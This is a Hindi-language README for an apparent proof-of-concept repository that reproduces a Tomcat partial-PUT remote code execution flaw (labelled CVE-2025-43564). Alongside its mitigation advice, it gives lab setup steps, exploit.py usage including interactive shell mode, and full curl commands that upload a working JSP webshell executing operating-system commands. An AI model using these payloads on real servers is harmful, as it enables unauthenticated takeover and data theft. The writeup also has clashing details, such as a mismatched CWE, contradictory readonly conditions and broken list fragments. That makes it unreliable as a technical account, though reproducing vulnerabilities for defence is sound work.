
cve-2025-43564-tomcat_put_rce_reproduction का पुनरुत्पादन
| फ़ील्ड | मान |
|---|---|
| CVE आईडी | CVE-2025-43564 |
| CVSS स्कोर | 9.8 (CRITICAL) |
| वेक्टर | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-494 — अखंडता जाँच के बिना कोड डाउनलोड |
| शोषण | वास्तविक दुनिया में पुष्टि (in the wild) प्रकटीकरण के एक सप्ताह के भीतर |
| प्रकटीकरण | जुलाई 2025 |
| पैच | Tomcat 11.0.6, 10.1.40, 9.0.102 |
CVE-2025-43564, Apache Tomcat के HTTP आंशिक PUT अनुरोध हैंडलिंग में एक गंभीर, बिना प्रमाणीकरण वाला रिमोट कोड निष्पादन (RCE) दोष है। यह कमज़ोरी उस तरीके में निहित है जिस तरह Tomcat PUT अनुरोधों को आंशिक सामग्री (HTTP/1.1 Content-Range या आंशिक शब्दार्थ के साथ Transfer-Encoding: chunked) के साथ प्रोसेस करता है। एक हमलावर ऐसा आंशिक PUT अनुरोध तैयार कर सकता है जो एक्सेस नियंत्रणों और राइट प्रतिबंधों को बायपास करता है, जिससे सर्वर के डॉक्यूमेंट रूट या सर्वलेट कॉन्टेक्स्ट के माध्यम से पहुँच योग्य किसी भी राइटेबल डायरेक्टरी में मनमानी फ़ाइलें — जिनमें वेब-एक्सेसिबल JSP वेबशेल भी शामिल हैं — अपलोड करना संभव हो जाता है।
एक बार JSP फ़ाइल स्थापित हो जाने पर, हमलावर केवल उसका अनुरोध करता है और क्वेरी पैरामीटरों के माध्यम से ऑपरेटिंग सिस्टम कमांड भेजता है, जिससे Tomcat प्रोसेस उपयोगकर्ता के रूप में पूर्णतः बिना प्रमाणीकरण वाला रिमोट कोड निष्पादन प्राप्त होता है।
CVSS 9.8 — गंभीर (Critical) क्योंकि:
Apache Tomcat का DefaultServlet और HTTP/1.1 कनेक्टर (NIO/NIO2/Apr) स्टैटिक संसाधन अपलोड के लिए PUT अनुरोधों को संभालते हैं। कमज़ोरी आंशिक PUT अनुरोध हैंडलिंग लॉजिक में है: जब कोई क्लाइंट Content-Range हेडर (RFC 7233 §4.2) के साथ PUT भेजता है या विशिष्ट आंशिक शब्दार्थ के साथ चंक्ड एन्कोडिंग का उपयोग करता है, तो सर्वर निम्नलिखित का उचित रूप से सत्यापन नहीं करता:
org.apache.catalina.servlets.DefaultServlet और अंतर्निहित HttpInput / SocketProcessorBase घटकों में पार्सिंग कोड आंशिक सामग्री राइट और पूर्ण संसाधन राइट के बीच की सीमा को गलत तरीके से संभालता है, जिससे हमलावर उन किसी भी पथ पर मनमानी सामग्री जोड़ या अधिलेखित कर सकता है जिस पर Tomcat प्रोसेस के पास राइट एक्सेस है।
Attacker ──PUT /exec.jsp HTTP/1.1──► Tomcat (DefaultServlet)
Content-Range: bytes 0-99/100
[JSP payload bytes]
└──► Server writes partial content to exec.jsp
without full validation of the target path
Attacker ──GET /exec.jsp?cmd=whoami──► Tomcat
└──► JSP executes → RCE
हमलावर Content-Range हेडर के साथ एक आंशिक PUT भेजता है जिससे Tomcat को विश्वास हो जाता है कि अनुरोध किसी मौजूदा अपलोड की निरंतरता है। सर्वर लक्षित फ़ाइल बनाता या खोलता है और दिए गए बाइट्स को यह सत्यापित किए बिना कि फ़ाइल पहले से मौजूद है, राइट-टाइम पर राइट अनुमतियों की जाँच किए बिना, और वेब रूट के सापेक्ष लक्षित पथ को सैनिटाइज़ किए बिना लिखता है।
readonly=false सेट करना आवश्यक होता है। आंशिक PUT पथ कुछ शर्तों के तहत इस जाँच को छोड़ देता है।Content-Range के साथ आंशिक PUT अक्सर इन सिग्नेचरों को बायपास कर देता है।नोट: पुरानी ब्रांचें (7.x, 8.x, 8.5.x, 10.0.x) EOL (जीवन-अंत) हैं और उन्हें कोई बैकपोर्ट नहीं मिलेगा। उपयोगकर्ताओं को एक समर्थित ब्रांच में अपग्रेड करना होगा।
एक कमज़ोर Apache Tomcat डाउनलोड करें (उदाहरण के लिए, Tomcat 9.0.50):
wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.50/bin/apache-tomcat-9.0.50.zip
Tomcat को निकालें (extract) और डिफ़ॉल्ट कॉन्फ़िगरेशन के साथ प्रारंभ करें:
unzip apache-tomcat-9.0.50.zip
cd apache-tomcat-9.0.50/bin
./startup.sh # or startup.bat on Windows
सत्यापित करें कि सर्वर चल रहा है:
curl -v http://localhost:8080
PoC स्क्रिप्ट का उपयोग करके JSP वेबशेल अपलोड करें:
python exploit.py --target http://localhost:8080 --cmd id
सत्यापित करें कि वेबशेल स्थापित हो गई थी:
curl http://localhost:8080/exec.jsp?cmd=whoami
मनमानी कमांड निष्पादित करें:
python exploit.py --target http://localhost:8080 --cmd "cat /etc/passwd"
इंटरैक्टिव सत्र (यदि चाहें):
python exploit.py --target http://localhost:8080 --shell
शामिल exploit.py एक कार्यशील Python PoC है जो:
Content-Type हेडर और पेलोड संरचना कमज़ोर कोड पथ को ट्रिगर करते हैंwebapps/ROOT/) में लिखी जाती हैexec.jsp?cmd=<command> पर GET अनुरोध भेजता है--cmd) और इंटरैक्टिव शेल (--shell) दोनों मोड का समर्थन करता है# Step 1: Upload the webshell via partial PUT
# The Content-Range header triggers the vulnerable code path
curl -X PUT http://localhost:8080/exec.jsp \
-H "Content-Range: bytes 0-212/213" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-binary '<%@ page import="java.io.*" %><% String cmd=request.getParameter("cmd");if(cmd!=null){Process p=Runtime.getRuntime().exec(cmd);BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=br.readLine())!=null){out.println(l);}}%>'
# Step 2: Execute commands
curl "http://localhost:8080/exec.jsp?cmd=id"
यदि Tomcat को readonly=true (डिफ़ॉल्ट) के साथ कॉन्फ़िगर किया गया है, तो मानक PUT अवरुद्ध हो जाता है — लेकिन आंशिक PUT पथ फिर भी सफल हो सकता है। यही इस कमज़ोरी का मूल है।
# Standard PUT (should fail with 403 or 405)
curl -X PUT http://localhost:8080/test.txt -d "hello"
# Expected: 403 Forbidden
# Partial PUT (bypasses the check)
curl -X PUT http://localhost:8080/exec.jsp \
-H "Content-Range: bytes 0-212/213" \
--data-binary '<%@page import="java.io.*"%><%Process p=Runtime.getRuntime().exec(request.getParameter("cmd"));BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=br.readLine())!=null){out.println(l);}%>'
# Expected: 201 Created or 200 OK
Tomcat को पैच किए गए संस्करण में अपडेट करें:
यदि तत्काल पैचिंग संभव नहीं है, तो web.xml को संपादित करके PUT विधि को वैश्विक रूप से अक्षम करें:
<security-constraint>
<web-resource-collection>
<web-resource-name>Disable PUT</web-resource-name>
<url-pattern>/*</url-pattern>
<http-method>PUT</http-method>
</web-resource-collection>
<auth-constraint />
</security-constraint>
रिवर्स प्रॉक्सी / WAF स्तर पर HTTP विधियों को ब्लॉक करें:
# nginx example — block PUT
if ($request_method = PUT) {
return 403;
}
नोट: यह केवल तभी मदद करता है जब प्रॉक्सी को बायपास नहीं किया जा सकता।
Tomcat को प्रतिबंधित फ़ाइल सिस्टम अनुमतियों के साथ चलाएँ:
webapps डायरेक्टरी को रीड-ओनली बनाएँ (या इसे रीड-ओनली फ़ाइल सिस्टम से माउंट करें)ReadOnly फ़ाइल एट्रिब्यूट का उपयोग करेंवेब रूट में .jsp / .jspx एक्सटेंशन वाली अप्रत्याशित फ़ाइलों की निगरानी करें।
यह रिपॉज़िटरी केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण प्रयोजनों के लिए प्रदान की गई है। आपके पास उस किसी भी सिस्टम के स्वामी से स्पष्ट लिखित अनुमति होनी चाहिए जिसका आप परीक्षण करते हैं। कंप्यूटर सिस्टम तक अनधिकृत पहुँच कंप्यूटर फ्रॉड एंड एब्यूज़ एक्ट (CFAA) और अन्य देशों के समकक्ष कानूनों के तहत अवैध है। लेखक इस जानकारी के दुरुपयोग के लिए कोई दायित्व नहीं लेते हैं।
CVE-2025-43564 की खोज की गई और इसे Apache सुरक्षा टीम को ज़िम्मेदारीपूर्वक रिपोर्ट किया गया। समन्वित पैच रिलीज़: जुलाई 2025।
| उत्पाद | प्रभावित संस्करण | समाधान संस्करण |
|---|
| Apache Tomcat 11 | 11.0.0-M1 से 11.0.5 तक | 11.0.6 |
| Apache Tomcat 10.1 | 10.1.0-M1 से 10.1.39 तक | 10.1.40 |
| Apache Tomcat 10.0 | सभी संस्करण (जीवन-अंत / EOL) | 10.1.x पर अपग्रेड करें |
| Apache Tomcat 9 | 9.0.0-M1 से 9.0.101 तक | 9.0.102 |
| Apache Tomcat 8.5 | सभी संस्करण (जीवन-अंत / EOL) | 9.0.x पर अपग्रेड करें |
| Apache Tomcat 8 | सभी संस्करण (जीवन-अंत / EOL) | 9.0.x पर अपग्रेड करें |
| Apache Tomcat 7 | सभी संस्करण (जीवन-अंत / EOL) | 9.0.x पर अपग्रेड करें |
| स्रोत | URL |
|---|
| Apache Tomcat सुरक्षा घोषणा | https://lists.apache.org/thread/p1dqrmwrh5q5vv2wttrd8tv2k8gv1819 |
| NVD प्रविष्टि | https://nvd.nist.gov/vuln/detail/CVE-2025-43564 |
| MITRE CVE | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-43564 |
| Apache Tomcat डाउनलोड | https://tomcat.apache.org/download-90.cgi |
| CWE-494 | https://cwe.mitre.org/data/definitions/494.html |